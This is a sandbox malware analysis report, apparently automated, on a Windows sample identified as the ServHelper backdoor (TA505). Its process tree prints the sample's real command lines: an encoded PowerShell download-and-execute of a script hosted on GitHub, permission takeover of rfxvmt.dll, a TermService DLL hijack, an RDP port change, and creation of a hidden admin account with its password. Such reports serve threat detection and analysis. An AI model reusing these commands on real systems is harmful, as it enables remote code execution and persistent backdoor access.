Analysis

  • max time kernel
    123s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    31-01-2022 22:11

General

  • Target

    f689c7187459510eb412f16e476a6d8f87b862c1fc969f2377404c78b1f3412f.exe

  • Size

    4.5MB

  • MD5

    ec73cfe671432b6b734b93c0d9f90625

  • SHA1

    3602b219f902903ccf253ab816dc4c6c73a6e003

  • SHA256

    f689c7187459510eb412f16e476a6d8f87b862c1fc969f2377404c78b1f3412f

  • SHA512

    07dc8900ae02a9aa3a4140f14a15ca5aee50c574aecd83df1de4d2e270166110fdca9978732c56373a479395afbce474c3c2773511968bc06812b388adf68226

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f689c7187459510eb412f16e476a6d8f87b862c1fc969f2377404c78b1f3412f.exe
    "C:\Users\Admin\AppData\Local\Temp\f689c7187459510eb412f16e476a6d8f87b862c1fc969f2377404c78b1f3412f.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:656
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\y0gyapbb.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:556
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1E7A.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC1E69.tmp"
          4⤵
            PID:1816
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:852
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2040
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1220
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1600
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1296
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1596
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:820
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:432
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1644
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1052
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:816
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1816
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1856
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:672
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1136
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1688
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1872
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1864
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1804
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1860
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1552
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1624
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1360
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1752
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1944
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:988
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1744
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1416
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1824
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc gzzlChSG /add
                                  1⤵
                                    PID:1992
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc gzzlChSG /add
                                      2⤵
                                        PID:1736
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc gzzlChSG /add
                                          3⤵
                                            PID:1972
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1308
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:728
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1472
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD
                                              1⤵
                                                PID:1296
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD
                                                  2⤵
                                                    PID:820
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD
                                                      3⤵
                                                        PID:1480
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:324
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:556
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1676
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc gzzlChSG
                                                          1⤵
                                                            PID:732
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc gzzlChSG
                                                              2⤵
                                                                PID:1924
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc gzzlChSG
                                                                  3⤵
                                                                    PID:1804
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1548
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:924
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1972
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1576
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1308
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:912
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:876

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/656-60-0x000007FEEBB60000-0x000007FEEC6BD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/656-73-0x00000000028BD000-0x00000000028BE000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/656-66-0x000000000289B000-0x00000000028BA000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/656-62-0x0000000002892000-0x0000000002894000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/656-63-0x0000000002894000-0x0000000002897000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/656-61-0x0000000002890000-0x0000000002892000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/656-59-0x000007FEFBD21000-0x000007FEFBD23000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/852-82-0x00000000028EC000-0x000000000290B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/852-78-0x00000000028E2000-0x00000000028E4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/852-79-0x00000000028E4000-0x00000000028E7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/852-80-0x000000001B9B0000-0x000000001BCAF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/852-81-0x00000000028E7000-0x00000000028E8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/852-77-0x00000000028E0000-0x00000000028E2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/852-76-0x000007FEEBB60000-0x000007FEEC6BD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/876-112-0x0000000001140000-0x0000000001142000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/876-111-0x000007FEEBB60000-0x000007FEEC6BD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/876-113-0x0000000001142000-0x0000000001144000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/876-114-0x0000000001144000-0x0000000001147000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/876-115-0x000000000114B000-0x000000000116A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1220-95-0x000007FEEBB60000-0x000007FEEC6BD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1220-97-0x0000000002742000-0x0000000002744000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1220-96-0x0000000002740000-0x0000000002742000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1220-98-0x0000000002744000-0x0000000002747000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1220-99-0x000000001B8E0000-0x000000001BBDF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1220-101-0x000000000274C000-0x000000000276B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1220-100-0x0000000002747000-0x0000000002748000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1700-58-0x00000000413A7000-0x00000000413A8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1700-54-0x00000000413A2000-0x00000000413A4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1700-56-0x00000000413A4000-0x00000000413A6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1700-57-0x00000000413A6000-0x00000000413A7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1700-55-0x00000000416D0000-0x0000000041980000-memory.dmp

                                                                        Filesize

                                                                        2.7MB

                                                                      • memory/2040-88-0x00000000025A2000-0x00000000025A4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2040-89-0x000000001BA60000-0x000000001BD5F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/2040-90-0x00000000025A4000-0x00000000025A7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/2040-91-0x00000000025AC000-0x00000000025CB000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/2040-86-0x00000000025A0000-0x00000000025A2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2040-87-0x00000000025A7000-0x00000000025A8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2040-85-0x000007FEEBB60000-0x000007FEEC6BD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB